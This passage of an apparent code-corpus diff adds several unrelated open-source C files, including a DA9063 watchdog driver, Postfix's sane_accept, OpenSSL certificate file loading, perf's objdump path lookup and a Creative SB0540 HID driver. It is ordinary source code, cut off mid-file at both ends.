wdt_timeout[DA9063_TWDSCALE_MAX] +#define DA9063_WDG_TIMEOUT wdt_timeout[3] +#define DA9063_RESET_PROTECTION_MS 256 + +struct da9063_watchdog { + struct da9063 *da9063; + struct watchdog_device wdtdev; +}; + +static unsigned int da9063_wdt_timeout_to_sel(unsigned int secs) +{ + unsigned int i; + + for (i = DA9063_TWDSCALE_MIN; i <= DA9063_TWDSCALE_MAX; i++) { + if (wdt_timeout[i] >= secs) + return i; + } + + return DA9063_TWDSCALE_MAX; +} + +static int _da9063_wdt_set_timeout(struct da9063 *da9063, unsigned int regval) +{ + return regmap_update_bits(da9063->regmap, DA9063_REG_CONTROL_D, + DA9063_TWDSCALE_MASK, regval); +} + +static int da9063_wdt_start(struct watchdog_device *wdd) +{ + struct da9063_watchdog *wdt = watchdog_get_drvdata(wdd); + unsigned int selector; + int ret; + + selector = da9063_wdt_timeout_to_sel(wdt->wdtdev.timeout); + ret = _da9063_wdt_set_timeout(wdt->da9063, selector); + if (ret) + dev_err(wdt->da9063->dev, "Watchdog failed to start (err = %d)\n", + ret); + + return ret; +} + +static int da9063_wdt_stop(struct watchdog_device *wdd) +{ + struct da9063_watchdog *wdt = watchdog_get_drvdata(wdd); + int ret; + + ret = regmap_update_bits(wdt->da9063->regmap, DA9063_REG_CONTROL_D, + DA9063_TWDSCALE_MASK, DA9063_TWDSCALE_DISABLE); + if (ret) + dev_alert(wdt->da9063->dev, "Watchdog failed to stop (err = %d)\n", + ret); + + return ret; +} + +static int da9063_wdt_ping(struct watchdog_device *wdd) +{ + struct da9063_watchdog *wdt = watchdog_get_drvdata(wdd); + int ret; + + ret = regmap_write(wdt->da9063->regmap, DA9063_REG_CONTROL_F, + DA9063_WATCHDOG); + if (ret) + dev_alert(wdt->da9063->dev, "Failed to ping the watchdog (err = %d)\n", + ret); + + return ret; +} + +static int da9063_wdt_set_timeout(struct watchdog_device *wdd, + unsigned int timeout) +{ + struct da9063_watchdog *wdt = watchdog_get_drvdata(wdd); + unsigned int selector; + int ret; + + selector = da9063_wdt_timeout_to_sel(timeout); + ret = _da9063_wdt_set_timeout(wdt->da9063, selector); + if (ret) + dev_err(wdt->da9063->dev, "Failed to set watchdog timeout (err = %d)\n", + ret); + else + wdd->timeout = wdt_timeout[selector]; + + return ret; +} + +static int da9063_wdt_restart(struct watchdog_device *wdd, unsigned long action, + void *data) +{ + struct da9063_watchdog *wdt = watchdog_get_drvdata(wdd); + int ret; + + ret = regmap_write(wdt->da9063->regmap, DA9063_REG_CONTROL_F, + DA9063_SHUTDOWN); + if (ret) + dev_alert(wdt->da9063->dev, "Failed to shutdown (err = %d)\n", + ret); + + return ret; +} + +static const struct watchdog_info da9063_watchdog_info = { + .options = WDIOF_SETTIMEOUT | WDIOF_KEEPALIVEPING, + .identity = "DA9063 Watchdog", +}; + +static const struct watchdog_ops da9063_watchdog_ops = { + .owner = THIS_MODULE, + .start = da9063_wdt_start, + .stop = da9063_wdt_stop, + .ping = da9063_wdt_ping, + .set_timeout = da9063_wdt_set_timeout, + .restart = da9063_wdt_restart, +}; + +static int da9063_wdt_probe(struct platform_device *pdev) +{ + struct da9063 *da9063; + struct da9063_watchdog *wdt; + + if (!pdev->dev.parent) + return -EINVAL; + + da9063 = dev_get_drvdata(pdev->dev.parent); + if (!da9063) + return -EINVAL; + + wdt = devm_kzalloc(&pdev->dev, sizeof(*wdt), GFP_KERNEL); + if (!wdt) + return -ENOMEM; + + wdt->da9063 = da9063; + + wdt->wdtdev.info = &da9063_watchdog_info; + wdt->wdtdev.ops = &da9063_watchdog_ops; + wdt->wdtdev.min_timeout = DA9063_WDT_MIN_TIMEOUT; + wdt->wdtdev.max_timeout = DA9063_WDT_MAX_TIMEOUT; + wdt->wdtdev.min_hw_heartbeat_ms = DA9063_RESET_PROTECTION_MS; + wdt->wdtdev.timeout = DA9063_WDG_TIMEOUT; + wdt->wdtdev.parent = &pdev->dev; + + wdt->wdtdev.status = WATCHDOG_NOWAYOUT_INIT_STATUS; + + watchdog_set_restart_priority(&wdt->wdtdev, 128); + + watchdog_set_drvdata(&wdt->wdtdev, wdt); + + return devm_watchdog_register_device(&pdev->dev, &wdt->wdtdev); +} + +static struct platform_driver da9063_wdt_driver = { + .probe = da9063_wdt_probe, + .driver = { + .name = DA9063_DRVNAME_WATCHDOG, + }, +}; +module_platform_driver(da9063_wdt_driver); + +MODULE_AUTHOR("Mariusz Wojtasik "); +MODULE_DESCRIPTION("Watchdog driver for Dialog DA9063"); +MODULE_LICENSE("GPL"); +MODULE_ALIAS("platform:" DA9063_DRVNAME_WATCHDOG); diff --git a/pool/shard011/C/0142322_sane_accept.c b/pool/shard011/C/0142322_sane_accept.c new file mode 100644 index 0000000000000000000000000000000000000000..b1e6670d6f5d62838f8ff1ad51e48406f0768e43 --- /dev/null +++ b/pool/shard011/C/0142322_sane_accept.c @@ -0,0 +1,125 @@ +/*++ +/* NAME +/* sane_accept 3 +/* SUMMARY +/* sanitize accept() error returns +/* SYNOPSIS +/* #include +/* +/* int sane_accept(sock, buf, len) +/* int sock; +/* struct sockaddr *buf; +/* SOCKADDR_SIZE *len; +/* DESCRIPTION +/* sane_accept() implements the accept(2) socket call, and maps +/* known harmless error results to EAGAIN. +/* +/* If the buf and len arguments are not null, then additional +/* workarounds may be enabled that depend on the socket type. +/* BUGS +/* Bizarre systems may have other harmless error results. Such +/* systems encourage programmers to ignore error results, and +/* penalize programmers who code defensively. +/* LICENSE +/* .ad +/* .fi +/* The Secure Mailer license must be distributed with this software. +/* AUTHOR(S) +/* Wietse Venema +/* IBM T.J. Watson Research +/* P.O. Box 704 +/* Yorktown Heights, NY 10598, USA +/*--*/ + +/* System library. */ + +#include "sys_defs.h" +#include +#include + +/* Utility library. */ + +#include "msg.h" +#include "sane_accept.h" + +/* sane_accept - sanitize accept() error returns */ + +int sane_accept(int sock, struct sockaddr * sa, SOCKADDR_SIZE *len) +{ + static int accept_ok_errors[] = { + EAGAIN, + ECONNREFUSED, + ECONNRESET, + EHOSTDOWN, + EHOSTUNREACH, + EINTR, + ENETDOWN, + ENETUNREACH, + ENOTCONN, + EWOULDBLOCK, + ENOBUFS, /* HPUX11 */ + ECONNABORTED, +#ifdef EPROTO + EPROTO, /* SunOS 5.5.1 */ +#endif + 0, + }; + int count; + int err; + int fd; + + /* + * XXX Solaris 2.4 accept() returns EPIPE when a UNIX-domain client has + * disconnected in the mean time. From then on, UNIX-domain sockets are + * hosed beyond recovery. There is no point treating this as a beneficial + * error result because the program would go into a tight loop. + * + * XXX Solaris 2.5.1 accept() returns EPROTO when a TCP client has + * disconnected in the mean time. Since there is no connection, it is + * safe to map the error code onto EAGAIN. + * + * XXX LINUX < 2.1 accept() wakes up before the three-way handshake is + * complete, so it can fail with ECONNRESET and other "false alarm" + * indications. + * + * XXX FreeBSD 4.2-STABLE accept() returns ECONNABORTED when a UNIX-domain + * client has disconnected in the mean time. The data that was sent with + * connect() write() close() is lost, even though the write() and close() + * reported successful completion. This was fixed shortly before FreeBSD + * 4.3. + * + * XXX HP-UX 11 returns ENOBUFS when the client has disconnected in the mean + * time. + */ + if ((fd = accept(sock, sa, len)) < 0) { + for (count = 0; (err = accept_ok_errors[count]) != 0; count++) { + if (errno == err) { + errno = EAGAIN; + break; + } + } + } + + /* + * XXX Solaris select() produces false read events, so that read() blocks + * forever on a blocking socket, and fails with EAGAIN on a non-blocking + * socket. Turning on keepalives will fix a blocking socket provided that + * the kernel's keepalive timer expires before the Postfix watchdog + * timer. + * + * XXX Work around NAT induced damage by sending a keepalive before an idle + * connection is expired. This requires that the kernel keepalive timer + * is set to a short time, like 100s. + */ + else if (sa && (sa->sa_family == AF_INET +#ifdef HAS_IPV6 + || sa->sa_family == AF_INET6 +#endif + )) { + int on = 1; + + (void) setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, + (char *) &on, sizeof(on)); + } + return (fd); +} diff --git a/pool/shard011/C/0142323_by_file.c b/pool/shard011/C/0142323_by_file.c new file mode 100644 index 0000000000000000000000000000000000000000..d91acd1c1320c7700e92712e02174dc066493c3f --- /dev/null +++ b/pool/shard011/C/0142323_by_file.c @@ -0,0 +1,221 @@ +/* + * Copyright 1995-2016 The OpenSSL Project Authors. All Rights Reserved. + * + * Licensed under the OpenSSL license (the "License"). You may not use + * this file except in compliance with the License. You can obtain a copy + * in the file LICENSE in the source distribution or at + * https://www.openssl.org/source/license.html + */ + +#include +#include +#include + +#include BLIK_OPENSSL_U_internal__cryptlib_h //original-code:"internal/cryptlib.h" +#include BLIK_OPENSSL_V_openssl__lhash_h //original-code: +#include BLIK_OPENSSL_V_openssl__buffer_h //original-code: +#include BLIK_OPENSSL_V_openssl__x509_h //original-code: +#include BLIK_OPENSSL_V_openssl__pem_h //original-code: +#include "x509_lcl.h" + +static int by_file_ctrl(X509_LOOKUP *ctx, int cmd, const char *argc, + long argl, char **ret); +static X509_LOOKUP_METHOD x509_file_lookup = { + "Load file into cache", + NULL, /* new */ + NULL, /* free */ + NULL, /* init */ + NULL, /* shutdown */ + by_file_ctrl, /* ctrl */ + NULL, /* get_by_subject */ + NULL, /* get_by_issuer_serial */ + NULL, /* get_by_fingerprint */ + NULL, /* get_by_alias */ +}; + +X509_LOOKUP_METHOD *X509_LOOKUP_file(void) +{ + return (&x509_file_lookup); +} + +static int by_file_ctrl(X509_LOOKUP *ctx, int cmd, const char *argp, + long argl, char **ret) +{ + int ok = 0; + char *file; + + switch (cmd) { + case X509_L_FILE_LOAD: + if (argl == X509_FILETYPE_DEFAULT) { + file = (char *)getenv(X509_get_default_cert_file_env()); + if (file) + ok = (X509_load_cert_crl_file(ctx, file, + X509_FILETYPE_PEM) != 0); + + else + ok = (X509_load_cert_crl_file + (ctx, X509_get_default_cert_file(), + X509_FILETYPE_PEM) != 0); + + if (!ok) { + X509err(X509_F_BY_FILE_CTRL, X509_R_LOADING_DEFAULTS); + } + } else { + if (argl == X509_FILETYPE_PEM) + ok = (X509_load_cert_crl_file(ctx, argp, + X509_FILETYPE_PEM) != 0); + else + ok = (X509_load_cert_file(ctx, argp, (int)argl) != 0); + } + break; + } + return (ok); +} + +int X509_load_cert_file(X509_LOOKUP *ctx, const char *file, int type) +{ + int ret = 0; + BIO *in = NULL; + int i, count = 0; + X509 *x = NULL; + + if (file == NULL) + return (1); + in = BIO_new(BIO_s_file()); + + if ((in == NULL) || (BIO_read_filename(in, file) <= 0)) { + X509err(X509_F_X509_LOAD_CERT_FILE, ERR_R_SYS_LIB); + goto err; + } + + if (type == X509_FILETYPE_PEM) { + for (;;) { + x = PEM_read_bio_X509_AUX(in, NULL, NULL, NULL); + if (x == NULL) { + if ((ERR_GET_REASON(ERR_peek_last_error()) == + PEM_R_NO_START_LINE) && (count > 0)) { + ERR_clear_error(); + break; + } else { + X509err(X509_F_X509_LOAD_CERT_FILE, ERR_R_PEM_LIB); + goto err; + } + } + i = X509_STORE_add_cert(ctx->store_ctx, x); + if (!i) + goto err; + count++; + X509_free(x); + x = NULL; + } + ret = count; + } else if (type == X509_FILETYPE_ASN1) { + x = d2i_X509_bio(in, NULL); + if (x == NULL) { + X509err(X509_F_X509_LOAD_CERT_FILE, ERR_R_ASN1_LIB); + goto err; + } + i = X509_STORE_add_cert(ctx->store_ctx, x); + if (!i) + goto err; + ret = i; + } else { + X509err(X509_F_X509_LOAD_CERT_FILE, X509_R_BAD_X509_FILETYPE); + goto err; + } + err: + X509_free(x); + BIO_free(in); + return (ret); +} + +int X509_load_crl_file(X509_LOOKUP *ctx, const char *file, int type) +{ + int ret = 0; + BIO *in = NULL; + int i, count = 0; + X509_CRL *x = NULL; + + if (file == NULL) + return (1); + in = BIO_new(BIO_s_file()); + + if ((in == NULL) || (BIO_read_filename(in, file) <= 0)) { + X509err(X509_F_X509_LOAD_CRL_FILE, ERR_R_SYS_LIB); + goto err; + } + + if (type == X509_FILETYPE_PEM) { + for (;;) { + x = PEM_read_bio_X509_CRL(in, NULL, NULL, NULL); + if (x == NULL) { + if ((ERR_GET_REASON(ERR_peek_last_error()) == + PEM_R_NO_START_LINE) && (count > 0)) { + ERR_clear_error(); + break; + } else { + X509err(X509_F_X509_LOAD_CRL_FILE, ERR_R_PEM_LIB); + goto err; + } + } + i = X509_STORE_add_crl(ctx->store_ctx, x); + if (!i) + goto err; + count++; + X509_CRL_free(x); + x = NULL; + } + ret = count; + } else if (type == X509_FILETYPE_ASN1) { + x = d2i_X509_CRL_bio(in, NULL); + if (x == NULL) { + X509err(X509_F_X509_LOAD_CRL_FILE, ERR_R_ASN1_LIB); + goto err; + } + i = X509_STORE_add_crl(ctx->store_ctx, x); + if (!i) + goto err; + ret = i; + } else { + X509err(X509_F_X509_LOAD_CRL_FILE, X509_R_BAD_X509_FILETYPE); + goto err; + } + err: + X509_CRL_free(x); + BIO_free(in); + return (ret); +} + +int X509_load_cert_crl_file(X509_LOOKUP *ctx, const char *file, int type) +{ + STACK_OF(X509_INFO) *inf; + X509_INFO *itmp; + BIO *in; + int i, count = 0; + if (type != X509_FILETYPE_PEM) + return X509_load_cert_file(ctx, file, type); + in = BIO_new_file(file, "r"); + if (!in) { + X509err(X509_F_X509_LOAD_CERT_CRL_FILE, ERR_R_SYS_LIB); + return 0; + } + inf = PEM_X509_INFO_read_bio(in, NULL, NULL, NULL); + BIO_free(in); + if (!inf) { + X509err(X509_F_X509_LOAD_CERT_CRL_FILE, ERR_R_PEM_LIB); + return 0; + } + for (i = 0; i < sk_X509_INFO_num(inf); i++) { + itmp = sk_X509_INFO_value(inf, i); + if (itmp->x509) { + X509_STORE_add_cert(ctx->store_ctx, itmp->x509); + count++; + } + if (itmp->crl) { + X509_STORE_add_crl(ctx->store_ctx, itmp->crl); + count++; + } + } + sk_X509_INFO_pop_free(inf, X509_INFO_free); + return count; +} diff --git a/pool/shard011/C/0142324_common.c b/pool/shard011/C/0142324_common.c new file mode 100644 index 0000000000000000000000000000000000000000..3e975cb6232eb97b2d14a9d4f069653727a6d649 --- /dev/null +++ b/pool/shard011/C/0142324_common.c @@ -0,0 +1,211 @@ +#include +#include +#include "common.h" +#include "../util/debug.h" + +const char *const arm_triplets[] = { + "arm-eabi-", + "arm-linux-androideabi-", + "arm-unknown-linux-", + "arm-unknown-linux-gnu-", + "arm-unknown-linux-gnueabi-", + NULL +}; + +const char *const powerpc_triplets[] = { + "powerpc-unknown-linux-gnu-", + "powerpc64-unknown-linux-gnu-", + NULL +}; + +const char *const s390_triplets[] = { + "s390-ibm-linux-", + NULL +}; + +const char *const sh_triplets[] = { + "sh-unknown-linux-gnu-", + "sh64-unknown-linux-gnu-", + NULL +}; + +const char *const sparc_triplets[] = { + "sparc-unknown-linux-gnu-", + "sparc64-unknown-linux-gnu-", + NULL +}; + +const char *const x86_triplets[] = { + "x86_64-pc-linux-gnu-", + "x86_64-unknown-linux-gnu-", + "i686-pc-linux-gnu-", + "i586-pc-linux-gnu-", + "i486-pc-linux-gnu-", + "i386-pc-linux-gnu-", + "i686-linux-android-", + "i686-android-linux-", + NULL +}; + +const char *const mips_triplets[] = { + "mips-unknown-linux-gnu-", + "mipsel-linux-android-", + NULL +}; + +static bool lookup_path(char *name) +{ + bool found = false; + char *path, *tmp; + char buf[PATH_MAX]; + char *env = getenv("PATH"); + + if (!env) + return false; + + env = strdup(env); + if (!env) + return false; + + path = strtok_r(env, ":", &tmp); + while (path) { + scnprintf(buf, sizeof(buf), "%s/%s", path, name); + if (access(buf, F_OK) == 0) { + found = true; + break; + } + path = strtok_r(NULL, ":", &tmp); + } + free(env); + return found; +} + +static int lookup_triplets(const char *const *triplets, const char *name) +{ + int i; + char buf[PATH_MAX]; + + for (i = 0; triplets[i] != NULL; i++) { + scnprintf(buf, sizeof(buf), "%s%s", triplets[i], name); + if (lookup_path(buf)) + return i; + } + return -1; +} + +/* + * Return architecture name in a normalized form. + * The conversion logic comes from the Makefile. + */ +static const char *normalize_arch(char *arch) +{ + if (!strcmp(arch, "x86_64")) + return "x86"; + if (arch[0] == 'i' && arch[2] == '8' && arch[3] == '6') + return "x86"; + if (!strcmp(arch, "sun4u") || !strncmp(arch, "sparc", 5)) + return "sparc"; + if (!strncmp(arch, "arm", 3) || !strcmp(arch, "sa110")) + return "arm"; + if (!strncmp(arch, "s390", 4)) + return "s390"; + if (!strncmp(arch, "parisc", 6)) + return "parisc"; + if (!strncmp(arch, "powerpc", 7) || !strncmp(arch, "ppc", 3)) + return "powerpc"; + if (!strncmp(arch, "mips", 4)) + return "mips"; + if (!strncmp(arch, "sh", 2) && isdigit(arch[2])) + return "sh"; + + return arch; +} + +static int perf_session_env__lookup_binutils_path(struct perf_session_env *env, + const char *name, + const char **path) +{ + int idx; + const char *arch, *cross_env; + struct utsname uts; + const char *const *path_list; + char *buf = NULL; + + arch = normalize_arch(env->arch); + + if (uname(&uts) < 0) + goto out; + + /* + * We don't need to try to find objdump path for native system. + * Just use default binutils path (e.g.: "objdump"). + */ + if (!strcmp(normalize_arch(uts.machine), arch)) + goto out; + + cross_env = getenv("CROSS_COMPILE"); + if (cross_env) { + if (asprintf(&buf, "%s%s", cross_env, name) < 0) + goto out_error; + if (buf[0] == '/') { + if (access(buf, F_OK) == 0) + goto out; + goto out_error; + } + if (lookup_path(buf)) + goto out; + free(buf); + } + + if (!strcmp(arch, "arm")) + path_list = arm_triplets; + else if (!strcmp(arch, "powerpc")) + path_list = powerpc_triplets; + else if (!strcmp(arch, "sh")) + path_list = sh_triplets; + else if (!strcmp(arch, "s390")) + path_list = s390_triplets; + else if (!strcmp(arch, "sparc")) + path_list = sparc_triplets; + else if (!strcmp(arch, "x86")) + path_list = x86_triplets; + else if (!strcmp(arch, "mips")) + path_list = mips_triplets; + else { + ui__error("binutils for %s not supported.\n", arch); + goto out_error; + } + + idx = lookup_triplets(path_list, name); + if (idx < 0) { + ui__error("Please install %s for %s.\n" + "You can add it to PATH, set CROSS_COMPILE or " + "override the default using --%s.\n", + name, arch, name); + goto out_error; + } + + if (asprintf(&buf, "%s%s", path_list[idx], name) < 0) + goto out_error; + +out: + *path = buf; + return 0; +out_error: + free(buf); + *path = NULL; + return -1; +} + +int perf_session_env__lookup_objdump(struct perf_session_env *env) +{ + /* + * For live mode, env->arch will be NULL and we can use + * the native objdump tool. + */ + if (env->arch == NULL) + return 0; + + return perf_session_env__lookup_binutils_path(env, "objdump", + &objdump_path); +} diff --git a/pool/shard011/C/0142325_fgets.c b/pool/shard011/C/0142325_fgets.c new file mode 100644 index 0000000000000000000000000000000000000000..6d25e1e9fa7ed10bca6afa79c047543f34251c78 --- /dev/null +++ b/pool/shard011/C/0142325_fgets.c @@ -0,0 +1,18 @@ +#include + +char *fgets(char *str, int size, FILE *file) { + int i = 0; + while (i < size - 1) { + int ch = fgetc(file); + if (ch == EOF) { + file->eof = 1; + break; + } + str[i++] = (char)ch; + if (ch == '\n') break; + } + if (!i) return NULL; + str[i] = 0; + return str; +} + diff --git a/pool/shard011/C/0142326_updateBdElements.c b/pool/shard011/C/0142326_updateBdElements.c new file mode 100644 index 0000000000000000000000000000000000000000..a0e2e3ddf354d40d60f85e45ff8431c4e1bd0acf --- /dev/null +++ b/pool/shard011/C/0142326_updateBdElements.c @@ -0,0 +1,125 @@ +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + + +void updateBdElements( latticeMesh* mesh, macroFields* mfields, lbeField* field ) { + + + uint bndId; + + + // Move over boundaries and update boundary elements + + for( bndId = 0 ; bndId < mesh->mesh.bd.nbd ; bndId++ ) { + + + /* if( field->boundary[bndId].bdType != 0 ) { */ + + + uint i,j; + + + // Apply collision model + switch(field->colId) { + + // Li MRT Model + case 0: + + for( i = 0 ; i < mesh->mesh.bd.nbdelem[bndId] ; i++ ) { + + j = mesh->mesh.bd.bdPoints[bndId][i]; + + mfields->rho[j] = liMRTDensity( mesh, field->value[j] ); + + liMRTVelocity( mesh, mfields, field, mfields->U, j ); + + } + + break; + + + // Li SRT Model + case 1: + + for( i = 0 ; i < mesh->mesh.bd.nbdelem[bndId] ; i++ ) { + + j = mesh->mesh.bd.bdPoints[bndId][i]; + + mfields->rho[j] = liSRTDensity( mesh, field->value[j] ); + + liSRTVelocity( mesh, mfields, field, mfields->U, j ); + + } + + break; + + + // Li SRT Model. Temperature + case 2: + + for( i = 0 ; i < mesh->mesh.bd.nbdelem[bndId] ; i++ ) { + + j = mesh->mesh.bd.bdPoints[bndId][i]; + + mfields->T[j] = liTempTemperature( mesh, mfields, field, j ); + + } + + break; + + + // new SRT Model. Temperature + + /* case 3: */ + + /* for( i = 0 ; i < mesh->mesh.bd.nbdelem[bndId] ; i++ ) { */ + + /* j = mesh->mesh.bd.bdPoints[bndId][i]; */ + + /* mfields->T[j] = newTempTemperature( mesh, mfields, field, j ); */ + + /* } */ + + /* break; */ + + + // my MRT Model. Temperature + + case 4: + + for( i = 0 ; i < mesh->mesh.bd.nbdelem[bndId] ; i++ ) { + + j = mesh->mesh.bd.bdPoints[bndId][i]; + + mfields->T[j] = myMRTTemperature( mesh, mfields, field, j ); + + } + + break; + + + default: + printf("\n [ERROR] Collision model is not yet implemented\n\n"); + exit(1); + break; + + } + + + /* } */ + + } + + + +} diff --git a/pool/shard011/C/0142327_hid-creative-sb0540.c b/pool/shard011/C/0142327_hid-creative-sb0540.c new file mode 100644 index 0000000000000000000000000000000000000000..b4c8e7a5d3e0251803e674034b975c323d4af210 --- /dev/null +++ b/pool/shard011/C/0142327_hid-creative-sb0540.c @@ -0,0 +1,268 @@ +// SPDX-License-Identifier: GPL-2.0 +/* + * HID driver for the Creative SB0540 receiver + * + * Copyright (C) 2019 Red Hat Inc. All Rights Reserved + * + */ + +#include +#include +#include +#include "hid-ids.h" + +MODULE_AUTHOR("Bastien Nocera "); +MODULE_DESCRIPTION("HID Creative SB0540 receiver"); +MODULE_LICENSE("GPL"); + +static const unsigned short creative_sb0540_key_table[] = { + KEY_POWER, + KEY_RESERVED, /* text: 24bit */ + KEY_RESERVED, /* 24bit wheel up */ + KEY_RESERVED, /* 24bit wheel down */ + KEY_RESERVED, /* text: CMSS */ + KEY_RESERVED, /* CMSS wheel Up */ + KEY_RESERVED, /* CMSS wheel Down */ + KEY_RESERVED, /* text: EAX */ + KEY_RESERVED, /* EAX wheel up */ + KEY_RESERVED, /* EAX wheel down */ + KEY_RESERVED, /* text: 3D Midi */ + KEY_RESERVED, /* 3D Midi wheel up */ + KEY_RESERVED, /* 3D Midi wheel down */ + KEY_MUTE, + KEY_VOLUMEUP, + KEY_VOLUMEDOWN, + KEY_UP, + KEY_LEFT, + KEY_RIGHT, + KEY_REWIND, + KEY_OK, + KEY_FASTFORWARD, + KEY_DOWN, + KEY_AGAIN, /* text: Return, symbol: Jump to */ + KEY_PLAY, /* text: Start */ + KEY_ESC, /* text: Cancel */ + KEY_RECORD, + KEY_OPTION, + KEY_MENU, /* text: Display */ + KEY_PREVIOUS, + KEY_PLAYPAUSE, + KEY_NEXT, + KEY_SLOW, + KEY_STOP, + KEY_NUMERIC_1, + KEY_NUMERIC_2, + KEY_NUMERIC_3, + KEY_NUMERIC_4, + KEY_NUMERIC_5, + KEY_NUMERIC_6, + KEY_NUMERIC_7, + KEY_NUMERIC_8, + KEY_NUMERIC_9, + KEY_NUMERIC_0 +}; + +/* + * Codes and keys from lirc's + * remotes/creative/lircd.conf.alsa_usb + * order and size must match creative_sb0540_key_table[] above + */ +static const unsigned short creative_sb0540_codes[] = { + 0x619E, + 0x916E, + 0x926D, + 0x936C, + 0x718E, + 0x946B, + 0x956A, + 0x8C73, + 0x9669, + 0x9768, + 0x9867, + 0x9966, + 0x9A65, + 0x6E91, + 0x629D, + 0x639C, + 0x7B84, + 0x6B94, + 0x728D, + 0x8778, + 0x817E, + 0x758A, + 0x8D72, + 0x8E71, + 0x8877, + 0x7C83, + 0x738C, + 0x827D, + 0x7689, + 0x7F80, + 0x7986, + 0x7A85, + 0x7D82, + 0x857A, + 0x8B74, + 0x8F70, + 0x906F, + 0x8A75, + 0x847B, + 0x7887, + 0x8976, + 0x837C, + 0x7788, + 0x807F +}; + +struct creative_sb0540 { + struct input_dev *input_dev; + struct hid_device *hid; + unsigned short keymap[ARRAY_SIZE(creative_sb0540_key_table)]; +}; + +static inline u64 reverse(u64 data, int bits) +{ + int i; + u64 c; + + c = 0; + for (i = 0; i < bits; i++) { + c |= (u64) (((data & (((u64) 1) << i)) ? 1 : 0)) + << (bits - 1 - i); + } + return (c); +} + +static int get_key(struct creative_sb0540 *creative_sb0540, u64 keycode) +{ + int i; + + for (i = 0; i < ARRAY_SIZE(creative_sb0540_codes); i++) { + if (creative_sb0540_codes[i] == keycode) + return creative_sb0540->keymap[i]; + } + + return 0; + +} + +static int creative_sb0540_raw_event(struct hid_device *hid, + struct hid_report *report, u8 *data, int len) +{ + struct creative_sb0540 *creative_sb0540 = hid_get_drvdata(hid); + u64 code, main_code; + int key; + + if (len != 6) + return 0; + + /* From daemons/hw_hiddev.c sb0540_rec() in lirc */ + code = reverse(data[5], 8); + main_code = (code << 8) + ((~code) & 0xff); + + /* + * Flip to get values in the same format as + * remotes/creative/lircd.conf.alsa_usb in lirc + */ + main_code = ((main_code & 0xff) << 8) + + ((main_code & 0xff00) >> 8); + + key = get_key(creative_sb0540, main_code); + if (key == 0 || key == KEY_RESERVED) { + hid_err(hid, "Could not get a key for main_code %llX\n", + main_code); + return 0; + } + + input_report_key(creative_sb0540->input_dev, key, 1); + input_report_key(creative_sb0540->input_dev, key, 0); + input_sync(creative_sb0540->input_dev); + + /* let hidraw and hiddev handle the report */ + return 0; +} + +static int creative_sb0540_input_configured(struct hid_device *hid, + struct hid_input *hidinput) +{ + struct input_dev *input_dev = hidinput->input; + struct creative_sb0540 *creative_sb0540 = hid_get_drvdata(hid); + int i; + + creative_sb0540->input_dev = input_dev; + + input_dev->keycode = creative_sb0540->keymap; + input_dev->keycodesize = sizeof(unsigned short); + input_dev->keycodemax = ARRAY_SIZE(creative_sb0540->keymap); + + input_dev->evbit[0] = BIT(EV_KEY) | BIT(EV_REP); + + memcpy(creative_sb0540->keymap, creative_sb0540_key_table, + sizeof(creative_sb0540->keymap)); + for (i = 0; i < ARRAY_SIZE(creative_sb0540_key_table); i++) + set_bit(creative_sb0540->keymap[i], input_dev->keybit); + clear_bit(KEY_RESERVED, input_dev->keybit); + + return 0; +} + +static int creative_sb0540_input_mapping(struct hid_device *hid, + struct hid_input *hi, struct hid_field *field, + struct hid_usage *usage, unsigned long **bit, int *max) +{ + /* + * We are remapping the keys ourselves, so ignore the hid-input + * keymap processing. + */ + return -1; +} + +static int creative_sb0540_probe(struct hid_device *hid, + const struct hid_device_id *id) +{ + int ret; + struct creative_sb0540 *creative_sb0540; + + creative_sb0540 = devm_kzalloc(&hid->dev, + sizeof(struct creative_sb0540), GFP_KERNEL); + + if (!creative_sb0540) + return -ENOMEM; + + creative_sb0540->hid = hid; + + /* force input as some remotes bypass the input registration */ + hid->quirks |= HID_QUIRK_HIDINPUT_FORCE; + + hid_set_drvdata(hid, creative_sb0540); + + ret = hid_parse(hid); + if (ret) { + hid_err(hid, "parse failed\n"); + return ret; + } + + ret = hid_hw_start(hid, HID_CONNECT_DEFAULT); + if (ret) { + hid_err(hid, "hw start failed\n"); + return ret; + } + + return ret; +} + +static const struct hid_device_id creative_sb0540_devices[] = { + { HID_USB_DEVICE(USB_VENDOR_ID_CREATIVELABS, USB_DEVICE_ID_CREATIVE_SB0540) }, + { } +}; +MODULE_DEVICE_TABLE(hid, creative_sb0540_devices); + +static struct hid_driver creative_sb0540_driver = { + .name = "creative-sb0540", + .id_table = creative_sb0540_devices, + .raw_event = creative_sb0540_raw_event, + .input_configured = creative_sb0540_input_configured, + .probe = creative_sb0540_probe, + .input_mapping = creative_sb0540_input_mapping, +}; +module_hid_driver(creative_sb0540_driver); diff --git a/pool/shard011/C/0142328_cardbus.c b/pool/shard011/C/0142328_cardbus.c new file mode 100644 index 0000000000000000000000000000000000000000..5c0170597037e4e98a6e61b6bc06b91fc0c15145 --- /dev/null +++ b/pool/shard011/C/0142328_cardbus.c @@ -0,0 +1,125 @@ +/* + * cardbus.c -- 16-bit PCMCIA core support + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * The initial developer of the original code is David A. Hinds + * . Portions created by David A. Hinds + * are Copyright (C) 1999 David A. Hinds. All Rights Reserved. + * + * (C) 1999 David A. Hinds + */ + +/* + * Cardbus handling has been re-written to be more of a PCI bridge thing, + * and the PCI code basically does all the resource handling. + * + * Linus, Jan 2000 + */ + + +#include +#include +#include + +#include + + +static void cardbus_config_irq_and_cls(struct pci_bus *bus, int irq) +{ + struct pci_dev *dev; + + list_for_each_entry(dev, &bus->devices, bus_list) { + u8 irq_pin; + + /* + * Since there is only one interrupt available to + * CardBus devices, all devices downstream of this + * device must be using this IRQ. + */ + pci_read_config_byte(dev, PCI_INTERRUPT_PIN, &irq_pin); + if (irq_pin) { + dev->irq = irq; + pci_write_config_byte(dev, PCI_INTERRUPT_LINE, dev->irq); + } + + /* + * Some controllers transfer very slowly with 0 CLS. + * Configure it. This may fail as CLS configuration + * is mandatory only for MWI. + */ + pci_set_cacheline_size(dev); + + if (dev->subordinate) + cardbus_config_irq_and_cls(dev->subordinate, irq); + } +} + +/** + * cb_alloc() - add CardBus device + * @s: the pcmcia_socket where the CardBus device is located + * + * cb_alloc() allocates the kernel data structures for a Cardbus device + * and handles the lowest level PCI device setup issues. + */ +int __ref cb_alloc(struct pcmcia_socket *s) +{ + struct pci_bus *bus = s->cb_dev->subordinate; + struct pci_dev *dev; + unsigned int max, pass; + + pci_lock_rescan_remove(); + + s->functions = 